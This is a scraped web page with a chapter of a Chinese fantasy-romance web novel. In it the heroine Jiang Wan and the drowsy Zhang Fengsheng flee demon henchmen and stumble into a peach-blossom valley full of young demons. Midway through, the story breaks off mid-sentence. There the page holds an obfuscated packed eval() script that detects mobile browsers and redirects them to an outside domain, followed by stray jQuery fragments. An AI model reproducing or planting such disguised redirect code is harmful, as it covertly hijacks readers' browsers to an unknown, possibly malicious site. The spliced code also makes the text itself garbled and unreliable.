文趣网 > 其他小说 > 炮灰女配手拿救世剧本 > 38. 乱世与桃源(七)
    姜绾和张逢生离开道观,沿着小径追了半个时辰。

    两个孩子追李断时留下的痕迹断断续续,但就是瞧不见人影。

    时间一点点过去,姜绾不免着急起来,脚步也越来越快,张逢生不紧不慢地跟在后面,低头看了眼地上的痕迹,始终没说话。

    追着追着,痕迹越来越淡。

    当两人寻到处浅湾时,痕迹彻底没了。

    沧江在这里拐出舒缓的弧弯,水流被浅滩兜住,失了下游的湍急,江面宽阔而沉默,晨光落在水面上,碎成无数片细密的金鳞。

    扫视一圈,仍是没有线索。

    不应该啊。

    且不说两个孩子的脚程能走多远,唐筱仙和吴浔向来懂事,知道轻重缓急,就算一时冲动追出去,也该在追不上之后原路返回

    姜绾暗暗思忖。

    不会是被李断掳走了吧。

    这念头冒出来,姜绾便觉心口一紧。

    李断油腔滑调,吊儿郎当,装死都干的出来,谁能担保他没有后手?

    毕竟他也不是第一次做出这种事情了。

    万一这次也是他故意为之,先卖个破绽,将两个孩子引过来,再趁她和张逢生被辛坞缠住的空档,顺手牵羊把人带走。

    姜绾顿了顿,眼底闪过冷意。

    他带走孩子的目的是什么,难不成知晓他们身份了吗?

    越想越乱,倏地转身。

    “张……”

    话刚起了个头,鼻梁便撞上了什么东西。

    酸意猛地袭来,眼泪当场滚出来。

    姜绾捂着鼻子蹲下来,缓了好久,等疼痛稍稍缓解幽怨的抬眼看过去,罪魁祸首则是一脸无辜揉着下巴。

    接收到她的眼神,张逢生非但没收敛,反而蹲下来,歪着脑袋端详好一会儿,晨光从江面上折过来,映得他眼底懒散的笑意格外清晰。

    姜绾被盯得有点不好意思偏过头。

    “别动,我看看。”他说。

    话音刚落,微凉的手指碰了碰鼻梁侧面,力道跟碰豆腐似的,一触即收。

    张逢生一本正经点头:“没歪,还是正的。”

    “……”

    撞一下就歪,那还得了。姜绾气得想打他。

    但此时也不是干这个的时候,等疼痛完全过去,她便说出了自己想法。

    张逢生赞同的点了点头,“是被掳走的,但不是李断。”

    姜绾蹙了蹙眉,不是李断还能是谁。

    辛坞和薛弱还在道观里困着,就算脱困了,也没道理绕到他们前面来。除非这浅湾附近还埋伏着另一拨人。

    还能是谁呢,难不成是莫玄瑾啊。

    余光一瞥,正好撞上张逢生的视线。

    这人平时总跟没睡醒似的,这会儿倒是难得抖擞了些,瞳仁清亮,只是这目光……总感觉越过她在看什么人。

    姜绾愣了一愣,转身过去。

    在昏暗中,隐约可见三颗头颅。

    她呆愣在原地,呼吸都不自觉放缓。

    那半人高的杂草里,缓缓走出来个三个人的身子,动物脑袋的妖怪。

    相貌丑陋惊悚,却无比熟悉。

    姜绾瞪大眼睛。

    他们是莫玄瑾的小跟班。

    三个妖怪走得并不快,每一步都像是走到心尖上,姜绾心凉凉的,差点窒息而死。

    边走边左右张望,明明他们就在正前方,好像没有看见般,越过她直接往对面走去。

    肯定又是张逢生布了阵法。

    对付他们或许好使,但若是莫玄瑾……

    这念头还没落下,耳旁传来类似玻璃四分五裂的声响,姜绾还没弄清是怎么一回事,手腕就扣起,整个人如同抽离时空般移动,周遭景物瞬间扭曲模糊。

    还没反应过来这是怎么一回事,脚下便已踩实,霎时间脱节的眩晕感反涌上来。

    像是坐了几百次大摆锤,恶心得想吐。

    姜绾踉跄半步,张逢生紧紧拉住她的手,才不至于摔个四脚朝天。

    稳了稳心神,缓抬眼看去,眼前的景象变了模样。

    他们已经出了浅湾,暂时躲过追杀。

    还没来得及松口气,肩膀一重,张逢生头靠在了她的肩膀上。

    姜绾浑身一僵。

    发丝蹭过脖颈,有点痒。

    “张逢生?”姜绾轻轻推了推,“你怎么了?”

    他的呼吸很轻,一下一下拂在她肩窝里,温热潮湿,姜绾往后挪了挪,毛绒绒脑袋不安蹭了蹭,含糊不清道,“别动,困。”

    说睡就睡,连个招呼都不打。

    此人平时懒得恨不得走路都闭着眼,能躺着绝不坐着,能靠着绝不站着,如今这副样子,恐怕早就撑到极限。

    光站着等他醒来也不是长久之计,姜绾被他靠得身子发麻,忍了片刻,实在没办法,小心翼翼扶住脑袋,将他背起来,又试探性又喊了两句。

    背上人毫无反应,脑袋软塌塌地垂在颈侧,呼吸均匀绵长,睡得那叫一个安稳。

    她深吸口气,利索起身,迈开步子往林子深处走。

    脖颈处的脑袋随着步伐轻轻晃着,毛茸茸的发丝蹭过耳廓,痒得想躲,但又腾不出手。

    越往里走越静,静得人发慌。

    这地方她不认得。

    此处应是张逢生随机择地,没有明确的目的。

    四周尽是参天古木,树冠遮天蔽日,零碎的光自叶缝间落下来,空气里的潮气,像是糊在嗓子眼里,姜绾感觉下一刻就会溺水而亡。

    顶着窒息走了会儿,终于出了密林,入目是一望无际的粉色。

    风过处,绯色的花瓣如云霞般翻涌,纷纷扬扬落下来。

    古木参天的压抑骤然消散,取而代之的是灼灼其华的桃林,是粘腻的花香。

    可是……外面明明不是春天啊。

    回头去看身后,来时路已经消失不见,粉色花儿,随风而起。

    他们置身在花海之中,姜绾震惊之情无以言表。

    怀着紧张忐忑的心,继续往里深入,正惊疑于这凭空出现的秘境,忽听得前方传来清脆的笑闹声。

    “快!别让它跑了!”

    “在那边!堵住它!”

    几个总角之年的孩童围着只通体雪白的兔子追逐嬉戏,他们穿着寻常衣裳,赤着脚在落英缤纷的草地上撒欢,笑着闹着围堵它。

    这场景太过安宁祥和,与外界兵荒马乱的时局格格不入,竟让姜绾恍惚间生出一种时空错位的荒谬感。

    桃……桃花源记么。

    那兔子眼见逃不过去,径直朝着她的方向跑来,一溜烟躲在了她身后。

    孩子们也追过来,跑在最前头是个扎着小辫儿的女孩,走近了姜绾注意到,羊角辫下面还藏着两枚嫩生生的小角。

    其他几个孩子也从后面挤过来,也全是如此,长着人脸,又有点不同。

    姜绾脑子嗡嗡作响,下意识退了两步。

    这一退反倒让小妖怪们更来劲了,呼啦一下围上来,七嘴八舌地

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634946|203029||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    嚷嚷开了。

    “是人吗?你们是人吗?”

    “真的是人!跟村长说的一样!”

    “让我看看,让我看看!”

    羊角辫胆子最大,鼻尖耸了耸,又绕到侧面去看张逢生,端详许久,惊叹道:“哇,这个公人好高!”

    姜绾寒毛都竖起来了,不声不响往后退。

    但这帮小妖不肯放过,她退,小妖们就紧贴前进。

    姜绾扯了扯僵硬的嘴角,干巴巴地应付,“我们就是路过的,无意冒犯,这就……”

    话没说完,脚下踩到了什么硬物,踉跄两步稳了稳身形,好不容易站稳,又突然抽走,瞬间失去平衡,姜绾整个人栽了下去,不偏不倚撞到了树根旁的圆石。

    「咚」得一声闷响。

    小妖们倒吸口凉气,集体噤声。

    粉色花瓣纷纷扬扬落下来,姜绾最后看见的画面,是几颗小脑袋挤成一团凑在她上方,叽叽喳喳说着什么,声音越来越远,越来越模糊。

    “完了完了,撞死了!”

    “没死,村长说死人不会喘气,她还喘呢。”

    “快去找村长来……”

    “……这个高的也在睡觉诶,是不是冬眠了?”

    “笨蛋,人才不冬眠。”

    “……”

    然后一切都沉入了黑暗。

    _

    张逢生是被颠醒的。

    意识还没完全回笼,先闻到股熟悉的皂角香,耳旁是吱嘎吱嘎的车轮声。

    他没急着睁眼,先动了动手指,指尖触到衣料,迷糊神经陡然清醒,温热呼吸拂在颈侧,节奏匀净绵长。

    张逢生不可思议地瞪大眼,姜绾的脸近在咫尺。

    她的头抵着他的下颌,整个人蜷在他怀里,若不是额角的包,张逢生丝毫不怀疑她是睡过去了。

    极小心地拨开额前碎发,撞得不浅,好在血已经止住了,只是眉间微微蹙着,像是在跟谁较劲儿。

    张逢生莞尔一笑,转动视线,板车缓缓前行,拉车的是只体形硕大的老山羊,视线没来得及收回来,猝不及防间对上几张稚嫩的小脸。

    各式各样,五颜六色的眼睛,像看猴子般,打量着他。

    张逢生沉默了片刻,默默合上眼睛。

    板车悠悠前行,耳旁叽叽喳喳一刻没停,胆子大的已经伸手来戳的脸颊。

    “他怎么又睡了。”

    “不会是装的吧”

    “掐鼻子。”

    张逢生闭着眼,仍由他们研究,直到某只爪子试图戳进他鼻孔时,偏头避了避,缓缓睁开眼。

    清凌凌的眼睛,泛着薄薄的凉意,像是大夏天里兜头浇下来的冰水。

    小妖怪们齐刷刷缩回了手。

    张逢生低头看了眼怀中人,姜绾像是陷入了很深的梦魇,原本只是浅皱着,如今紧紧皱着,面容极为痛苦。

    静静看了会儿,伸手轻轻揉开了褶子,怀中人不满的呢喃两句,沉沉睡了过去。

    张逢生笑着看着,幽幽叹了口气。

    而后,抬起眼扫了圈趴在车沿上的小萝卜头们。

    眼底残余的睡意已经散尽了,懒洋洋笑着看他们。

    小妖们不约而同往后缩了缩。

    明明是春日般和煦的脸,怎么凉飕飕的。

    他们不敢说话,面面相觑,等着他反应。

    紫衣青年像是没睡醒,打个哈欠,这才掀起半阖眼皮,拖着懒洋洋的长音问。

    “劳驾,这车是往哪儿去?”